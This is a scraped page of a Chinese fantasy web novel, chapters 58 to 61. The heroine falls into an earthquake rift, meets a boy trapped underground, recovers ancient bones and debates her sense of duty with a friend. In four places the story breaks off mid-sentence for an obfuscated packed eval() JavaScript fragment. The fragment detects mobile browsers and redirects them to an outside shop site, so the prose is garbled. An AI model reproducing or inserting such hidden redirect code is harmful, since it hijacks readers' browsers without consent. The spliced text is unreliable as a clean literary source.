待会不会被风一吹就掉渣吧?郁颂橘小心地展开地图,仔细地对比着废墟里的残垣砖瓦。几百年的风霜地动、居民活动早就将地图上标注的标志性建筑磨灭了,居民早已离开多年,根本无处询问。 她在背风处看着手中易碎的地图,勉强将大致路线和山峰地标记录下来,又小心地将它叠好收起来,回头看向眼前的一整片蔓延到山峰之上的废墟,废墟之中除了碎石,还有大大小小的裂缝,有冷风自下而上吹来,冰凉凉的。 郁颂橘随手在脚边捡了根手腕粗的树枝,估计是掉下来太久了,树枝已经完全干燥了,拿在手里轻飘飘的。她用树枝往地上戳了两下,还挺结实的。 她拿着树枝在一大片废墟里走走停停,因为山头也被地动崩裂了,地图上的山峰标记也完全失去作用,她只能一点点地翻着废墟。她先前在上一座城池歇脚的时候,打听了旧都和高塔的一些消息。 最初那座高塔在地动之中只塌落了上半部分,下半部分也许是地基打的牢,没有跟着塌下,据说那塔基很牢固,历经多年地动都没有开裂。但告诉她消息的那人也是听自己的祖父说的,他们家已经迁离旧都很久了。 那人还说,那塔从东离古国起就一直用巨大的铜锁锁着,一直有人试图打开,或偷走铜锁换些钱财,都失败了,就像一个巨大的黑匣子放在地面上,没有人能打开,自然也没人能知道里面放着些什么。 郁颂橘手中的树枝不断翻开碎石,试图从中找到点金玉瓦屑,旧都王城最高的塔,为了庆贺王唯一的子嗣的降生,红瓦白墙,金玉修饰。 凉风自耳后拂过,柔软的冷意在她面颊边上蹭了蹭,没有灌进她的衣领。郁颂橘冥冥中似是有所感应,望向大宁的方向,那天边盘绕着一串纠缠难分的金色云彩,随着耳边的尖利鸟鸣声消散。 她抬手揉了揉肩头不安抖动着的小鸟,回神望着一整片被阳光笼罩的废墟,阳光变得斑驳,澄净的天空中一丝云彩也没剩下,但斑驳的阴影顺着废墟蔓延着,下一秒,整片碎石堆猛然晃动起来。 最初只是细微的、不易察觉的颤动,如同水滴落在石块上激起的细碎尘土,随后猛然骤变成激烈的晃动,四周的树木碎石开始崩裂,细密的滚石碎裂声自山边响起。 远处的山峦被无形的大手攥裂,本就一片狼藉的土地变得更加糟糕,巨石滚落树木倒塌,连石缝间的藤蔓细芽都挣扎着爬起来。 郁颂橘将树枝嵌入一块碎石裂隙中勉强稳住身形,却一抬眼就望见远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067833|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处的山体之上裂开了一道巨大的口子,那豁口不断往下延伸着往自己逼近。 竟然是这样的景象吗? 尘土自山间扬起,在空中震颤出声声音浪,脆弱的树木混着山间清泉被送上空中,倒不像是普通地动。 郁颂橘稳住身形后借力踏在嶙峋碎石上,尽全力往不断延展扭曲的裂缝的反方向逃。漆黑蔓延的山缝就如同蛰伏在阴影中的巨蛇,蜿蜒身形终于在日光下显现,如同灰黄色的纸张上被曲折地画上一笔墨痕。 裂缝的扩张速度很快,在郁颂橘好不容要到达城门前碎作四块的界碑前时,黑色长蛇已经先她一步将碎裂石块吞没,她也随着飞快下坠的石块一起,往深处跌去。她肩头的小鸟慌张地在空中挥舞翅膀,两只爪子紧紧抓住她肩膀的布料,试图减缓她的下坠。 郁颂橘望见那一片狭长缝隙切割出来的天幕正在闭拢,从怀中掏出一把匕首,飞速割下肩头的布料,看着小黄鸟抓着布片往上飞去,一点点的嫩黄色融入蓝得发亮的天空,一同消失。 头顶的裂缝已经完全闭合了,但郁颂橘还在往下坠落,在一片黑暗中,她尝试伸手触碰岩壁。所幸裂缝闭拢的过程中,两侧的岩壁都在向内靠拢,她使劲将匕首与岩壁接触摩擦,以此来减缓自己降落的速度。 不过,两侧的岩壁不断向中心靠拢,她不知道自己是先被岩壁挤压住,还是先落到底部,甚至不知道这下面是否有不闭拢的空间。 郁颂橘深吸一口气,手上又加深了几分力气,但她的伤还没好多少,实在是使不上多大力气。她的身体不断撞击在粗糙的岩壁之上,似乎连意识都松散了几分。 好疼啊。她隐隐看见匕首在岩壁上擦除的火光,似乎又回到了那个被烈火吞噬的夜晚。 没能死在那个夜晚,那今日,也必然不会死在这片黑暗中。郁颂橘察觉到身体另一侧的岩壁已经隐隐能碰到自己的后背,索性松开手,解开衣带以此缓冲,彻底往下落。 地底下不断涌上来冰冷的气息,仿佛有巨物隐匿其中,吐息不断,在黑暗中伺机吞噬从人间落下来的物件。 59.第 59 章 郁颂橘是在一张勉强用破碎木板堆起来的稻草床上醒来的。 缓慢滴落到什么金属器具上的水声充斥着整个黑暗空间,不远处亮着一盏小灯,火光微弱,只能照亮它下头的石板,在细小的气流中晃动,几乎下一秒就要熄灭。 郁颂橘动了动自己几乎散架的骨头,背在背上的干粮袋子似乎不见了,她慢慢将头扭过去对着灯光,触动了身下的稻草杆,窸窸窣窣的声音加入了水声叮当之中。几乎是下一刻,灯光的远处就传来一阵急促的脚步声,一道人影掠过细小的光点,差点将它碰灭。 “你醒了?”是名男子,听起来年纪不算大。 郁颂橘想要开口说话,但喉咙干得发痛,浑身像是被人一寸寸敲碎,稍稍一点动作都是噬心的痛楚。 “你先别动,你可是除了我以外这里唯一的活人了,你要是死了我就得继续一个人在这不见天日的地方了。”男子似乎很快就走到了她面前,她能听见衣衫摆动的声响。 “你也是厉害,那么高的地面上摔下来都还能剩一口气,废了我好大劲才把你拖过来。”他话很多,“上面应该已经是一片废墟了吧,我已经在这很久了,我刚掉下来的时候,应该是七岁?那时候城主说陛下要将我们迁往其他城里,但我家还没迁走我就被吞了,真不走运。” “最开始的时候这里还是很浅的,我能听见上面的人说话,后来……一次一次的地动,越陷越深,每次掉下来的都只有死人。” “现在外面是什么年月了?也不知道我母亲他们有没有平安迁出去……啊,你要喝水吗,我这里只有从山缝上落下来的水。”是他一滴滴用破铁罐子收集起来的,喝起来有些腥味,但应该也不会死,他都喝了这么久了……长到这么大了。 男子又小跑回去拿水,但这次的速度没有刚才那么快,似乎刻意放慢了脚步。 带这些铁锈味的液体从郁颂橘微微张开的唇中流入喉间。 “你现在能吃东西吗,不过这里已经很久没掉食物下来了,我吃的还是好几年前落下来的陈米……有些坏了。” 郁颂橘的喉咙被水流经过之后明显地好了起来,嘶哑地发出声响,“你……一个人?” “是呀,我一个人在这里待了好久好久,终于有除我之外的活人来了。” “你没有尝试过寻找出口吗?”真疼啊,郁颂橘觉得自己喉头弥漫上来一股子腥甜。 “我小的时候尝试过,但这里几乎是全封闭的,只有天上的裂缝会落下些水滴,勉强足以生活。这里……没有药材……”男子的声音带着些颤抖,“你能不能,不要死啊,你死了就又剩我一个人了,我不想、不想再一个人留在这了,可我又不敢死……” “我不会死。”郁颂橘勉强动了动手指,勾心的疼痛顺着指尖蔓延到心口,“你叫什么名字?” 她会出去的。 “我叫白圭,你呢?” “魏离。” ———— 郁颂橘在这一片只有一点半熄不熄火光的黑暗石室里待了很久,看不到日月变换加上身受重伤时常昏睡,她根本不知道到底过去多少日子。 白圭时常会趁她睡着的时候蹲在她身边探她的鼻息,生怕郁颂橘在他不知道的时候安静地死了。 郁颂橘很明显地察觉到多次昏睡之后,自己的伤势好转了,虽然她早有预料,但真正感觉到的时候,还是觉得有些难过。 她在那场大火之前,身体并不是这样的,并非与齐九歌一样,从小愈合恢复能力就比别人强的。是那场大火之后,她彻彻底底放弃自己的过去开始的。 静斋说,这代表着她母亲的心愿再也不会有实现的机会。 “是不是没有粮食了?”郁颂橘已经勉强能坐起来了,她这几餐都是白圭端来的稀粥,生锈的铁水混着发酸生虫的米,越来越稀。 “本来也快吃光了,不是因为你才没粮食的,你多吃一点。”白圭将碗塞进她手里,“多吃一点,好的更快。” 郁颂橘的手碰上了他瘦骨嶙峋的指头,当然,她自己也没好到哪里去,两只骨头架子手就这么碰到一块,在黑暗的水滴声中发出一声脆响。 “啊,你没事吧?”好硬,白圭想象不出来从那么高的上面落下来的人会受多重的伤,他只知道几年前落下的人都碎成一块一块的,这里灯很暗,他不知道面前这人现在是什么样子的。 “没事。”郁颂橘搓了搓指尖,隐隐有些湿气萦绕,此时地上的季节应该已经是深冬了,为何这片地方感觉不到多少寒气,明明她刚落下时,底下吹起的都是寒风,“你扶我一下,我试试能不能下地走动”。 “啊?哦哦。”白圭接过她手中的碗放到一旁,伸手在黑暗中扶住了那只悬在半空的手臂,好瘦啊,他最初拖她回来时没有这么瘦的。郁颂橘借着他的支撑占了起来,自下而上地传来一股钻心的疼痛,她皱了一下眉头,慢慢走向那盏燃烧了这么久却没有熄灭的灯。 等郁颂橘可以完全自己走动时,白圭这么多年省下来的口粮已经完全见底了,两人每日一碗酸面粉汤。 “你吃吧,不必给我多留。”郁颂橘今天没有接白圭递来的的面粉汤,她尝试着走了很久,她走不到那盏灯边上,白圭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092934|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎也不行,他说那盏灯不是他点的,在他落下来时就存在,始终不曾熄灭。 可她明明在醒来的第一天,看见他的身影擦过那盏灯,差点将灯火碰灭。 为什么要骗她呢? 郁颂橘照旧从白圭烧汤的柴火堆里拆了一支柴出来照明,但她今天改了方向,不再往灯火处去,摸索着岩壁前行。 岩壁表面布满凹凸不平的微小磨损,指尖滑过时,能清晰地感受到那些细小的凸起与凹陷,尖锐如针,轻轻刺痛着她的皮肤。微弱的火光映照在岩壁之上,能看到些还未脱落的颜料痕迹。 似乎这上面曾经有过壁画? “白圭,你见过旧都里的那座高塔吗?”她看向那道捧着碗坐在还未熄灭的火堆前的背影。 “我小时候见过,不过那时候已经只剩下半层了,我母亲说那塔原本高耸入天,但在多次地动之下塌得只剩下一层,又在山崩中下陷,所以只有我见到的那半层。”白圭的声音听起来离得很远。 “你是在家中遇到的地动?”他先前说不知道其他家人是否在地动中遇难,那就不太可能是在家中遇到的地动,真如他所说的高塔下陷,那时过境迁,如今那塔应该已经在地下了。 郁颂橘又往前走了两步,火光映照出了一幅还未剥落的壁画。画上的主角与光慈塔下的一样,不过比光慈塔下画的更好,更具神性。 画的是娲皇造笙簧的故事。 娲皇补天之后,人间大地欣欣向荣,娲皇见自己的造物安居乐业,心中快慰。但祂希望人们更加快乐,能有平日耕作之余的玩乐之趣,于是决定为人们创造一种乐器。 祂从昆仑山脚下最温暖的溪边取来竹子,将不同长短不同发音的竹管组合在一起,又选来最好的、生长在黄河最平缓低端的葫芦,制成笙斗,又以楠木制成吹嘴,在里面加上竹制簧片,制成了世间第一支笙簧。 祂把笙簧当做礼物送予人们,告诉他们,当不能用言语表达自己的感情,那就用它谱成曲调。自此笙簧成为农忙丰收、男女婚嫁的传统乐器,以曲表情。 这幅壁画画的,正是娲皇在昆仑之下取竹的情景。 金国并不十分信仰娲皇,从原本属于娲皇的光慈塔里摆满佛像就可以看出来,这壁画不可能是金国人画的。 那就只能是……东离古国人氏所作。 旧都唯一保留下来的东离宗教性质的建筑只有那半座高塔。 郁颂橘回头看向白圭的方向,他迟迟没有言语,火已经熄了,连带着那点她一直无法接近的小灯一起。整片空间中,只剩下她手里将熄的柴火。 60.第 60 章 “白圭?”郁颂橘眼睁睁看着手中的火光彻底熄灭。 寂静的黑暗将她笼罩其中,黑暗浓稠的寒意顺着石壁侵袭到她的身上。 “你不是在家中遇到的地动,是在东离古国的塔上。你随着那仅剩的最后一节塔基,一起落下来的,对吗?”她叹了一口气,“你为什么要到那塔上去?” 沉寂良久的氛围终于被白圭带着哭腔的辩解打破,“我……我看到有人在塔上凿洞,要偷东西,他们发现我了,把我抓住了……然后就发生了地动,我和他们一起落下来了……我砸在他们身上……他们……他们碎成一块一块的……呜……” “我……我不是有意要骗你的……可是……可是我害死了他们……呜呜呜哇……我害死了他们……如果没有我一起掉下来…… 说不定他们就、就不会死……” 崩溃的哭声在空旷的岩壁之间回荡,在这片幽暗空间里沉寂着压抑已久的情绪终于找到了闸口,汇成一股洪流冲盖住了水珠滴落的声音。歇斯底里的哭声充斥着整个空间,郁颂橘看不见他,但凄厉的哭声告诉她,白圭还在那个已经熄灭的火堆前坐着。 是因为从小独自落在这种地方,所以格外小孩子心性吗?郁颂橘没有松开手中的柴烬,也没有走向哭声传来的方向,“别哭了,把火点起来,它灭了,你点得着的吧?” 崩溃的哭声慢慢变小,也许是收得太急,带出了几道嗝声,在空旷安静的黑暗中显得格外响。响声之后就是一瞬间的沉默,郁颂橘听见窸窸窣窣的脚步声缓慢回荡在四周,那盏熄灭的灯火又再次被火石掉落的火花点燃,依旧是那副半死不活的样子。 白圭的身影正站在那团照不亮四周景物的灯火边上。 为什么他可以靠近那团火,她却不行?郁颂橘又往火光那处走了好几步,肉眼可见的距离没有一点变化。 如果闭上眼呢?她阖上眼睛,朝着闭眼前灯火的方位走着,没几步就被白圭扶住了手臂,“要、要撞上了……” 郁颂橘睁开眼睛,那团微弱的火光正在自己面前,清晰地映照出它下面的石台,在不知道用什么东西制成的灯油之下,石台上刻着陌生的文字,在文字的正上方有一个方方正正的印子,似乎曾经放过什么东西,那大小正跟她拿到手的四个铜匣相似。 “这上面的盒子呢?”她转头看向站在石台一侧不知所措的白圭,这么近的火光能清晰映照出他的狼狈模样,眼眶红肿,被灰尘覆盖的面颊上被泪水洗出两道白痕,似乎下一秒就要继续落泪。 “被、被我埋起来了……里面是一堆骨头,我把盒子跟之前掉下来的人埋在一起了……”每天离骨头这么近,怪吓人的。 “带我过去。”郁颂橘抓住他皮包骨头的手腕就往前走,她已经能够确认这里就是高塔仅存的最底层内部,先拿到骸骨,再想办法出去。 “慢、慢点,前面……”前面他堆了很多有用没用的东西。 白圭被郁颂橘拉着往前走,往黑暗里指示着他记忆中的方向,那个地方是他埋葬遇难者的地方,因为大家都说死者要“入土为安”。 两人就在黑暗中这么直直地往前走,这条路上满是落石和杂物,所幸白圭记得这些障碍物的方位,两人才不至于一直被绊倒。 “差不多就是这儿了,我还立了石块当作墓碑。” 郁颂橘听白圭说到了,就往地上蹲下,开始摸索。 “你、你小心点,这里有那种会蜇人的虫子,很疼的。”白圭也蹲下来,他给每一具尸体都立了“碑”,“我记得我给那个盒子上面放的是碎了的红瓦片,应该不难找的。” “嗯。”郁颂橘应了一声,双手探过地面的石块,只有白圭一个人,所以埋得不深,每个石块距离都很远,冰冷的石块上都带着死物特有的寒意,细小的爬虫从她的指尖略过。 塔里为什么会有一块能埋这么多死人的地? “你身上带了什么东西?”她碰到那块上了彩釉的红瓦片了,“我找到了,你别摸了。”温暖的指尖缓缓探入那片被水汽浸湿的土地,冰冷的气息瞬间包裹住往深处刨土的手指。 “没、没带什么东西啊……”白圭在黑暗中绕开自己堆起来的一个个“墓碑”,轻而易举地走到她身边,其实他骗了她,他在这里待了这么多年,早就能适应在黑暗中视物。 魏离长得很好看,他很喜欢,他不想被魏离当作异类,所以只能假装自己跟他一样,黑暗中不能视物。 “你有在这里见过一支乐器吗,很多竹管系在一起。”郁颂橘猜测这塔里存放着一支笙簧,往神话里猜测,是娲皇创造的第一支笙簧,往故事里猜测,是那东离古国最后一任王预备送给自己孩子的礼物。 “啊,有,不过那个已经坏掉了,我碰到它的时候,它化成了灰烬,就剩下一小块竹片,我有带在身上的。”白圭在黑暗中望着蹲在地上挖出铜盒子一角的郁颂橘,他觉得魏离的声音也很好听,他想要一直跟着魏离,就算一起死在这里也没有关系。 死在一起,就能永远在一起了。 “你尝试过寻找出口吗?”郁颂橘并不知道他的想法,正单手抱着从土里刨出来的铜匣子,转过身来,“我们先回去吧。” “……好。”白圭伸手抓住她的手腕,“这次我走前面,不要被绊倒了。” “你知道出口在哪。”郁颂橘从他迟疑的一瞬间,就明白了,“为什么不出去?” 她站在原地,白圭没能拉动她,只得停下来,“我不知道出口在哪。” 他颤抖着声音似乎不明白为什么郁颂橘会觉得自己知道出口在哪。 “你知道。你也能看见。对吗?” “我……我……”白圭不明白,到底哪里出了差错。 “你从那边走过来,绕过了每一块石头,连脚尖都没有碰撞到任何障碍物。难道你天天在墓地里打转,熟悉得不能再熟悉了?”郁颂橘感受到抓着自己的手正在颤抖,“你为什么不出去?” “我、我什么都没有了,我出去也什么都没有了,没有人!地面上什么人都没有!什么都没有……他们都抛弃我了……也可能……都死了。”白圭的眼泪是在一瞬间崩溃出来的,他用自己另一只手去抹,怎么也抹不干净。 “外面有人的,只要你走得再远点。”这片土地上确实是一片废墟,甚至因为时常地动,连来往商队都不愿意走。 郁颂橘反手握住那只冰冷的、不断颤动的手,“跟我一起出去吧,我带你去看看留仙城,那里有很多糖糕和彩花。” “我不要!”白圭想要甩开那只温暖的手,但又有些不舍得,“我去过的!我去过外面!他们打我!他们不让我进去!还要拿我去换钱!” 郁颂橘安抚性地拍拍他的手,“我会保护你的,不会有人欺负你,我有两个干哥哥,他们很有钱,也很厉害,不会用你去换钱的。” 白圭沉默不语,他相信魏离的话,可去了留仙城,他不识字,没有钱什么都不会,大家都会笑话魏离的,笑话他带了个傻子回去。 他这种人只能在大街上要饭,然后被骗去买到小倌馆里……那些人是这么说的。 可是魏离还是在他的耳边用很好听很温柔的语气安抚他,白圭的泪水流的更快了。 “别哭了,跟我回去吧,你要是怕跟跟别人相处不来,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114705|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我教你做好吃的糕点,你不想跟人相处的时候就可以去厨房玩,甜甜的,吃起来闻起来都会开心的。” “……好。” 出口就在郁颂橘当初躺的那块破木板拼成的稻草床的背后,白圭怕被她发现,还用泥水砌了石头上去。 当刺眼的夕阳照射在郁颂橘久不见天光的眼睛上时,天边有一个黄色的鸟影若离弦之箭俯冲下来,落到她抱在胸前的匣子上,爪子上抓着那块从她肩头割下来的黑布叽叽喳喳得哭诉着。 “这是你的鸟吗?”白圭有些好奇得看着落在匣子上的小鸟。 “对,是我的,它应该找不到我好久了。”郁颂橘腾出一只手蹭了蹭它的脑袋。 红日的辉光照耀在狼狈的两人一鸟身上,金灿灿的,似是两尊雕塑。那轮温柔沉重的圆盘安然垂挂在天边,将最后一抹余晖围绕地地倾泻在满目疮痍的废墟之上,满地金光灿烂,四处散落的瓦砾断树都被裹上了今日的最后一点华彩。 “妹妹!”远处传来一声熟悉的呼喊,郁颂橘回过头去,正看见叶轻□□这里跑来。 青年的身影在夕阳余晖中被拉扯着伸长,束在脑后的青丝摆动得厉害,“你不是说好立春回来的吗?” “如今什么时候了?”郁颂橘伸手撑住差点撞到自己身上叶轻天,“我刚从地底下上来。” “这都惊蛰了!我就说要我跟你一起来吧,你看你这灰头土脸的,瘦成皮包骨了!还……”叶轻天瞟见她手上残留的血迹,“你还受伤了!” 叶轻天没想到再见郁颂橘是这样狼狈的景象,她几乎瘦脱了相,站在这,身影显得格外纤细,似乎一阵微风就能将她吹动,原先就棱角分明的面颊如今颧骨微微凸起,眼神里满是疲惫。 已经惊蛰了啊,怪不得这些石块上面的藤蔓都发了新芽,郁颂橘笑了笑,“啊,已经好了。地动出现了裂缝,我掉下去了,如果你跟来,我还要想办法不让你掉下去。”她轻轻将身后的白圭拉到叶轻天面前,“他叫白圭,是他救了我,他很小的时候就被地缝吞进去了,努力活到现在,还好有他在。” 叶轻天这才认真打量一直躲在郁颂橘身后畏畏缩缩的少年,浑身是土,也不知道从哪里刨出来的,好像才刚哭完,脸上的土都湿乎乎的,看起来不像什么坏人,“多谢你救了颂橘,你想要什么东西,我都能满足你。” “我……我想跟着你们走。”白圭本来还在思考为什么这个突然出现的男人叫魏离“妹妹”,冷不丁听到他跟自己讲话,魂都要被吓飞了。 叶轻天皱眉看他,这是讹上了? “他在下面待了可能有十年,家里人都已经找不到了,带回去吧。”郁颂橘抱着铜匣子盯着叶轻天看,匣子上的鸟儿也调转身子歪头盯着他。 “行吧。”妹妹说什么就是什么,更何况郁颂橘对他来说还不只是妹妹,更是恩师,他在她离开后找朝中老将探讨兵法的时候,那些人不再像之前一样只是看着他皇子的身份捧着他,而是真真正正地对他的想法发出感叹。 “先找个地方歇脚吧,我先洗个澡。”先前在地洞里还不觉得,如今一上来地面,感觉自己浑身不舒服。 “好,我马匹就在不远处,我这回是让表哥替我瞒着父皇,自己偷偷跑出来的,只带了一匹马……” “我之前寄养了一匹马在外面,希望他们没有把它卖掉。”她给的钱是足够的。 “你的伤真的没事了?” “没事了。” “待会找个医师检查一下吧,都瘦成这样了……后面那个小子跟紧点,别丢了,到时候你也看看……” “啊……好……好。” 61.第 61 章 “你这么快就要去雪葬山吗?”身子都没养好吧?齐九歌难以置信地看着眼前收拾包袱的纤瘦少女,郁颂橘去旧都一趟,身上落下了不少小毛病,时常咯血,御医说是从高处跌落,内脏受损。 这才刚行完结拜礼的第三天,郁颂橘就跟他说准备离开了。 她就休息了半个月!齐九歌得知她身受重伤,特地选远一些的吉日,也是她主动要求的选近些的日子,说什么迟则生变,是怕拖太久耽误她出门了啊? “我已经好的差不多了,白圭就拜托你们了。”郁颂橘将所有骸骨都规整到一个匣子里,如今只差两个部分了…… “不行。”齐九歌按住她收拾东西的手,“你自己带回来的自己照看,除你之外的人他都没法正常沟通,而且你的伤你自己也清楚,没有几个月是好不了的,你能活下来全都是因……” “因为我命好。”郁颂橘推开他的手,“因为我命好,所以怎么样都不会死,什么伤都能好,你就放心吧。” “你……”齐九歌正想继续说,却看见她又掏出帕子捂住口鼻,“你这你这,你这算什么好?” 随着剧烈的咳嗽声,殷红的血液渗透烟青色的帕子,似冬日盛开的红梅。齐九歌有些不忍心,伸手轻拍她的背脊,帮她顺气,她现在很瘦,手掌落在背上能清晰地感受到脊椎骨的凸起,“多待两天吧,你到底为什么这么拼命呢,你要找什么,我让人替你去。” “我再不走,周朝就要出兵了。”她不觉得周朝那些人不知道她已经到了金国,已经收齐了五份骸骨,无论当年是什么原因逼得母亲带着她仓皇出逃,她安然回到周朝必然是他们不愿意看见的。 “出兵就出兵,都打了这么多年了,难道我金国会怕他吗?何况孔啼奇身不在周朝,我们没有永安王,他们也没有孔啼奇。”齐九歌替她倒了一杯温水,递到她手边看着她喝下去,“不必为这点事情忧心,金国和周朝本就势同水火,这么多年怕大宁渔翁得利才一直僵持不下。如今大宁内乱自顾不暇,我们两国早晚要开战的。” “我明白,可这一战又要伤及多少黎民百姓?”郁颂橘抬起头看他,一双眼睛亮得惊人,“我那时驰援卞城,怕的是金国一路征战大宁尸山血海。我驻守云郡,怕的是周朝铁蹄践踏之下颗粒无收。我收粮赈灾祛除疫病,怕的是潭郡灾荒疫情无人生还。我假死让蓝即荧师出有名,是因为李氏不仁,边境不宁军心不稳,百亩良田改蚕棉。如今我留在留仙城,让周朝驱兵踏金国,那我往日所作又有什么意义呢?” “可那些本就不是你应该做的。”齐九歌盯着她的眼睛,“那些都跟你没有关系。李瀛守卞城,为的是自己的外祖父家,也因他作为皇子享天下之禄,小殿下也是。但你从头到尾欠那些人什么?就算周朝打过来,你一不是皇室,二不是官宦,与你有什么关系?” “我有的时候都怀疑你是不是跟那个白圭一样,心智有所欠缺。你从不在乎身边是否有人需要你、在乎你、关心你,你只记得自己该怎么做才能保下更多的人,就算那些人和你毫无干系。你在大宁那些日子里,难道没有人在你身边陪着你,在你四处奔波的时候说过一句‘能不能不走’吗?” “我测算过苏柳玉的命格,弱女早夭,我也算过魏离的命格,少年遭难。你幼时颠沛流离,顶替苏柳玉的身份若不是大宁太后青睐你几分,早就死在荒山之上。后又顶替魏离的身份,官场还未踏足几日就被派到边疆送死。黎民苍生未给过你一分一毫,连封侯的奖赏都全换作药草粮米还回去了。你是欠的谁的?” 郁颂橘停下手中的动作,“你说的对,我确实不在乎身边的人。”她的眼前忽而闪过蓝即荧和房洄在灶台前的影子,不管是苏柳玉时多加照拂的李瀛,还是魏离时陪伴左右的蓝即荧等人,连教给她诸多武艺的孔啼奇也是,她的心中从未动过“这样留下也挺好”、“要是一直这样就好了的念头”。 “我只是一直在做我应该做的事情,包括教叶轻天兵法,我只是觉得应该这样做。”不知道在哪里鬼混回来的小黄鸟从开着的窗户飞进来,落在她的肩头,她轻轻揉了揉它的脑袋,又看向齐九歌,“你这么会算,能不能算算我几时魂归土地,我不想再做这些事情了,我不应该这样的,可我……我也不知道我到底是什么样的。” 这是齐九歌第一次在她的眼中看见近似迷茫无助的眼神,她一直都是那样坚定如顽石,能破孔啼奇百万军,也能拿匕首架在他的脖子上,也有自己的小爱好,总是做些甜腻腻的只有叶轻天才会喜欢的点心。 “你……不是要为柳妃报仇吗?”将那些逼着她们母女远走他乡的人都处理个干净。 “我的母亲费尽心思,宁愿让我顶替人家一个早夭女婴的身份,自己甘愿当个下人身份,难道只是为了我有能力报仇吗,她或许根本不想我走上这条路,不想我回到周朝。”她也不明白自己去纠结这些有什么意义,明明都快走到尽头了。 就快结束了,如果那副骸骨真的有用的话。 “你也可以留在留仙城,只要我和小殿下在一天,你就不会受苦。”齐九歌不忍心再看郁颂橘的眼睛,那片迷茫和孤独就像惊涛骇浪间飘摇的一叶小舟,她就坐在那上头,随时都会倾覆,被吃人的浪涛吞噬。 “我不能留下来。”她垂下眼睫,那双明亮的眼睛被细长的睫毛遮挡得模模糊糊,她也不知道自己在说些什么,只是觉得这样好累,她始终没有找到一个自己能待的地方,这就是他们所说的,没有家的感觉吗? 是归属感吧,她对于这些地方、这些人和事,都没有归属感,她好像生来就是为了不让良田少稻,不让干戈不休,不让黎民无归处。 所谓人间龙,到底是为什么被娲皇娘娘创造出来呢?只是为了“乱世平定四方,盛世鞠躬尽瘁”吗?为什么不能拥有自己的“命”呢?甚至她觉得自己始终和这个世间有一层摸不透的膜,人间常有的喜怒哀乐,她至今未能明白,甚至在亲手溺毙苏延时,也未能体会到多少。 她只记得作为苏柳玉时的那场火很痛很可怖,在那之后似乎什么也没有了。 她最开始明明只是想平安长大,找到母亲,找到一座青山,在与村镇相邻的山脚下,搭好自己的小院子,在院子里种上一棵桂花树,翻一片荒地当做菜园子,闲暇时到村子里替人代笔,就这样过完一辈子。 为什么她一步步走到了现在?如果那场大火之后,不当魏离……那她就会永远也得不到母亲的消息,当了魏离,也只是知道母亲早就过世而已。 “为什么不能?”齐九歌的声音将她几乎涣散的思绪又重新凝结在一起。 “因为我要改命。”郁颂橘低头将收好的骸骨匣子打开,满匣子的莹白骨头把齐九歌下了一跳,“你不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136776|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问我去雪葬山找什么吗?几百年前东离古国的最后一代王生下了最后一位王嗣,王嗣因为异于常人被教唆五马分尸,尸身分为七份,分别镇压与七个地方。据说娲皇娘娘因此大怒,降天罚,自此东离古国分崩离析。我找的就是这具骸骨。” “那是……” “他们说那是我的前世骸骨,说不定要是母亲没能带我逃出来,我现在也被分成七份了。”她将骸骨倒出来,那些骸骨似有灵性,自动找好了自己的位置,组成一条缺了心腹和腿的小龙盘成一团,“你也读过吧,‘破而后立,形散神聚’。” “你要用这具骸骨来当替身?”那本书齐九歌这么多年为了想明白如何解决自己短命的问题,看了无数遍,研读过每一个字,“能行吗?” “不知道,试一试吧,万一能行呢。”郁颂橘深吸一口气,将那盘成一团的骸骨捧回盒子里放好,起身给肩头不断跳跃的小鸟倒了一杯粟米。 齐九歌盯着桌面上被她落下的染血手帕,心脏似乎随着她消瘦的背影一起萎缩,弥漫起一股酸涩的气息,“你做那些事,不是什么‘命’,是你的‘善’,你见不得人受苦,见不得黎民受苦,这是你心性之一,不是什么‘命运’。我方才所说的都是气话,你所觉的‘不在乎身边的人’,只是你自己的想法。教叶轻天兵法、带病驰援卞城斩杀永安王、替汪水渟上战场、祛潭州疫病,这些决定的发生并非没有带上你对他们的感情,不能因为这些事情让你的目的完成得顺利,就觉得你所做只是为了自己。” 